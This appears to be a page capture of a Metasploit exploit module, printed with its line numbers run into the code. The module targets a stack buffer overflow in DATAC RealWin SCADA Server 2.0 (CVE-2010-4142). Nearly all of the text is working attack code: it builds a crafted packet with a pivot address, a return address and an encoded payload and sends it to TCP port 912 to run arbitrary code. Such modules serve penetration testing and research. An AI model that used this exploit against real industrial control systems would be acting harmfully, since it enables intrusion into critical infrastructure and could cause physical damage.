Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/scada/realwin_scpc_txtevent.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'DATAC RealWin SCADA Server SCPC_TXTEVENT Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in DATAC Control15International RealWin SCADA Server 2.0 (Build 6.1.8.10).16By sending a specially crafted packet,17an attacker may be able to execute arbitrary code.18},19'Author' => [ 'Luigi Auriemma', 'MC' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'CVE', '2010-4142'],24[ 'OSVDB', '68812'],25],26'Privileged' => true,27'DefaultOptions' =>28{29'EXITFUNC' => 'thread',30},31'Payload' =>32{33'Space' => 550,34'BadChars' => "\x00\x20\x0a\x0d",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' =>39[40[ 'Universal', { 'Pivot' => 0x40017fc2, 'Ret' => 0x4001f6d0 } ],41],42'DefaultTarget' => 0,43'DisclosureDate' => '2010-11-18'))4445register_options([Opt::RPORT(912)])46end4748def exploit4950connect5152data = [0x6a541264].pack('V')53data << [0x00000010].pack('V')54data << [0x00001ff4].pack('V')55data << rand_text_alpha_upper(164)56data << [target['Pivot']].pack('V')57data << rand_text_alpha_upper(16)58data << [target.ret].pack('V')59data << payload.encoded60data << rand_text_alpha_upper(10024 - payload.encoded.length)6162print_status("Trying target #{target.name}...")63sock.put(data)6465handler66disconnect6768end69end707172